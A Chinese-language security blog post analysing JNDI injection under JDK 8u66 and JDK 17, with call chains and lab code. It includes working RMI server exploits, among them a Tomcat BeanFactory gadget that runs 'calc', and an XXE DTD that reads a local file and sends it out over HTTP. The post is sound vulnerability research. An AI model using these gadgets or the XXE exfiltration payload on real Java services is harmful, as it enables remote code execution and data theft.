高版本jdk下的JNDI注入

高版本JDK中的JNDI注入分析

高版本jdk下的JNDI注入

JNDI是java提供的一种查找资源的机制,正常来说会从一个服务器获取对资源的引用,但是一旦从恶意服务器获取引用,就有可能执行恶意代码完成RCE。

以RMI JNDI注入为例,以下是RMI客户端从RMI恶意服务端获取引用从而触发RCE的完整过程:

  1. RMI客户端通过lookup向服务端发起查询,由于查询字符串能够被外部控制,就会导致向恶意服务器发起查询

    RMI Client:

    InitialContext ctx = new InitialContext();
    UserService userService = (UserService) ctx.lookup("rmi://localhost:1099/calculator");
    

    UserService:

    package org.example.seclab17.vulnerability.jndi;
    
    import java.rmi.Remote;
    import java.rmi.RemoteException;
    
    // 定义远程接口,必须继承Remote
    public interface UserService extends Remote {
        User findUserById(int id) throws RemoteException;
        User findUserByName(String name) throws RemoteException;
    }
    

    User:

    package org.example.seclab17.vulnerability.jndi;
    
    import java.io.Serializable;
    
    public class User implements Serializable {
        private static final long serialVersionUID = 1L;
    
        private int id;
        private String name;
        private String email;
        private int age;
    
        public User(int id, String name, String email, int age) {
            this.id = id;
            this.name = name;
            this.email = email;
            this.age = age;
        }
    
        // getter和setter方法
        public int getId() { return id; }
        public void setId(int id) { this.id = id; }
    
        public String getName() { return name; }
        public void setName(String name) { this.name = name; }
    
        public String getEmail() { return email; }
        public void setEmail(String email) { this.email = email; }
    
        public int getAge() { return age; }
        public void setAge(int age) { this.age = age; }
    
        @Override
        public String toString() {
            return "User [id=" + id + ", name=" + name + ", email=" + email + ", age=" + age + "]";
        }
    }
    
    
    
  2. 客户端在获取类的引用后会先找当前环境下是否存在该类定义,如果没有,就会从服务端去找类的字节码(如果服务端定义了字节码的获取路径)

    RMI Server:

    Registry registry = LocateRegistry.createRegistry(1099);
    String className = "EvilClass";
    String codebase = "http://localhost:8080/"; 
    Reference reference = new Reference(className, className, codebase);
    ReferenceWrapper wrapper = new ReferenceWrapper(reference);
    registry.bind("calculator", wrapper);
    

    实际下载字节码的路径为http://localhost:8080/EvilClass.class

  3. 当客户端下载了字节码就会进行加载,从而执行类的静态代码块中的恶意代码从而RCE,相关代码在NamingManager的getObjectFactoryFromReference中:

    static ObjectFactory getObjectFactoryFromReference(
            Reference ref, String factoryName)
            throws IllegalAccessException,
            InstantiationException,
            MalformedURLException {
            Class<?> clas = null;
    
            // Try to use current class loader
            try {
                 clas = helper.loadClass(factoryName);
            } catch (ClassNotFoundException e) {
                // ignore and continue
                // e.printStackTrace();
            }
            // All other exceptions are passed up.
    
            // Not in class path; try to use codebase
            String codebase;
            if (clas == null &&
                    (codebase = ref.getFactoryClassLocation()) != null) {
                try {
                    clas = helper.loadClass(factoryName, codebase);
                } catch (ClassNotFoundException e) {
                }
            }
    
            return (clas != null) ? (ObjectFactory) clas.newInstance() : null;
        }
    

    clas = helper.loadClass(factoryName, codebase);处加载类

因此,对于需要做JNDI查询的客户端来说,只要lookup中的字符串能被控制,就会存在JNDI注入的可能。

以下是jdk8和jdk17的调用链(loadClass):

(1)jdk8u66中从source到sink的链为:

    javax.naming.InitialContext.lookup(javax.naming.InitialContext.class:417)
        com.sun.jndi.rmi.registry.RegistryContext.lookup(com.sun.jndi.rmi.registry.RegistryContext.class:128)
            com.sun.jndi.rmi.registry.RegistryContext.lookup(com.sun.jndi.rmi.registry.RegistryContext.class:124)
                com.sun.jndi.rmi.registry.RegistryContext.decodeObject(com.sun.jndi.rmi.registry.RegistryContext.class:464)
                    javax.naming.spi.NamingManager.getObjectInstance(javax.naming.spi.NamingManager.class:319)
                        javax.naming.spi.NamingManager.getObjectFactoryFromReference(javax.naming.spi.NamingManager.class:158)
                            com.sun.naming.internal.VersionHelper.loadClass(com.sun.naming.internal.VersionHelper.class:-1)

(2)jdk17中从source到sink的链为:

调用链 #7(节点数:7) ---
    类模块:java.naming
    javax.naming.InitialContext.lookup(javax.naming.InitialContext.class:409)
        类模块:java.naming
        com.sun.jndi.toolkit.url.GenericURLContext.lookup(com.sun.jndi.toolkit.url.GenericURLContext.class:220)
            类模块:jdk.naming.rmi
            com.sun.jndi.rmi.registry.RegistryContext.lookup(com.sun.jndi.rmi.registry.RegistryContext.class:140)
                类模块:jdk.naming.rmi
                com.sun.jndi.rmi.registry.RegistryContext.decodeObject(com.sun.jndi.rmi.registry.RegistryContext.class:501)
                    类模块:java.naming
                    javax.naming.spi.NamingManager.getObjectInstance(javax.naming.spi.NamingManager.class:340)
                        类模块:java.naming
                        javax.naming.spi.NamingManager.getObjectFactoryFromReference(javax.naming.spi.NamingManager.class:169)
                            类模块:java.naming
                            com.sun.naming.internal.VersionHelper.loadClass(-1)

前面的代码适用于jdk 8u66,但是当jdk版本为17时,以上类似的链就会出现一些问题:

客户端错误: javax.naming.ConfigurationException: The object factory is untrusted. Set the system property 'com.sun.jndi.rmi.object.trustURLCodebase' to 'true'.
javax.naming.ConfigurationException: The object factory is untrusted. Set the system property 'com.sun.jndi.rmi.object.trustURLCodebase' to 'true'.
	at jdk.naming.rmi/com.sun.jndi.rmi.registry.RegistryContext.decodeObject(RegistryContext.java:497)
	at jdk.naming.rmi/com.sun.jndi.rmi.registry.RegistryContext.lookup(RegistryContext.java:140)
	at java.naming/com.sun.jndi.toolkit.url.GenericURLContext.lookup(GenericURLContext.java:220)
	at java.naming/javax.naming.InitialContext.lookup(InitialContext.java:409)
	at org.example.seclab17.vulnerability.jndi.RMIClient.main(RMIClient.java:29)

当trustURLCOdebase为false,就会触发该异常,而该值默认为false:

image-20251029071845232

但是当ref.getFactoryClassLocation()为null时就会绕过这个异常,即只需要将Reference的classFactoryLocation字段设置为null,但实际上后面的codebase就是从这个值中取的,如果设置classFactoryLocation为null,那么就无法远程加载类,因此在jdk17 loadClass这条链路是不通的。

另外,当trustURLCOdebase为true时,还需要设置另一个配置为true才可以成功加载codebase,即在jdk17的rmi client一共需要设置两个配置:

System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");

InitialContext ctx = new InitialContext();
UserService userService = (UserService) ctx.lookup("rmi://localhost:1099/calculator");

远程加载codebase的路不通还可以看到在getObjectInstance中会根据factory调用对应的getObjectInstance,在这个getObjectInstance中也许存在对远程引用危险的使用:

image-20251103020630510

JDNI注入实际上就是由于远程加载恶意类时出现的问题,要找一条可以用的JNDI链路需要确定source和sink:

  • source为通过JNDI Server配置的Reference,具体哪种Reference根据factory而定

  • sink为不同factory的getObjectInstance,这些sink可能会做以下危险操作:

    • 类的动态加载:能加载远程下载的字节码到JVM
    • 危险的类方法:能够远程加载类并执行指定的类方法
    • XXE:能远程加载允许脚本执行的xml文件
    • Sql注入:执行远程指定的sql语句
    • 等等

在tomcat 11.0.2尝试以下factory:

(1)BeanFactory:

BeanFactory的getObjectInstance会加载指定的存在public无参构造的类,然后调用类指定属性的set方法(必须存在属性且该属性有set方法),而且这个set方法的入参只能是String类型

类的形式需要满足:

import java.io.IOException;

public class EvilClass {

    public EvilClass() {}

    private String cmd;

    public void setCmd(String cmd) throws IOException {
        Runtime.getRuntime().exec(cmd);
    }
}

对应的Server:

package org.example.jndi;

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;
import javax.naming.NamingException;
import javax.naming.StringRefAddr;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIServer {
    public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {

        Registry registry = LocateRegistry.createRegistry(1099);
        ResourceRef ref = new ResourceRef(
                "org.example.seclab17.vulnerability.jndi.EvilClass",
                 null,
                null,
                null,
                false,
                "org.apache.naming.factory.BeanFactory",
                null
        );
        ref.add(new StringRefAddr("forceString", "cmd"));
        ref.add(new StringRefAddr("cmd", "calc"));
        
        ReferenceWrapper wrapper = new ReferenceWrapper(ref);
        registry.bind("calculator", wrapper);
    }
}

(2)MemoryUserDatabase

MemoryUserDatabase的getObjectInstance会加载指定的远程xml文件,其内部解析xml时使用SAX解析器

对应的Server:

package org.example.jndi;

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;
import javax.naming.NamingException;
import javax.naming.Reference;
import javax.naming.StringRefAddr;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIServer {
    public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {

        Registry registry = LocateRegistry.createRegistry(1099);
        Reference ref = new Reference("org.apache.catalina.UserDatabase", "org.apache.catalina.users.MemoryUserDatabaseFactory", null);
        ref.add(new StringRefAddr("pathname", "http://localhost:8080/win_oob.xml"));
        ReferenceWrapper wrapper = new ReferenceWrapper(ref);
        registry.bind("calculator", wrapper);
    }
}


win_oob.xml

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE ANY [
        <!ENTITY % xd SYSTEM "http://localhost:8080/win_oob.dtd">
        %xd;
        ]>
<root>&bbbb;</root>

win_oob.dtd:

<!ENTITY % aaaa SYSTEM "file:///D:/Local_AI_auxiliary_system/Code/java/SecMicroLab/data/file/1.txt">
<!ENTITY % demo "<!ENTITY bbbb SYSTEM 'http://localhost:8080/?file=%aaaa;'>">
%demo;

需要注意的是,没有办法将参数实体的引用放在xml文件,因为会报错参数实体引用不能出现在 DTD 的内部子集中的标记内,除此之外,获取的文件数据也要是一段没有空格或其他特殊字符的字符串,否则会导致url格式错误从而无法正确发起请求

当前环境的其他factory没有发现可以利用的点,我也没有引入其他的一些依赖去做测试,所以写的会比较简单

简单总结:

在jdk8u66版本中,JNDI中rmi的利用只需要借助codebase即可完成恶意类的加载,但是在jdk17版本中,则需要基于不同的factory中存在的漏洞甚至结合一些特定的链才可以完成攻击。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值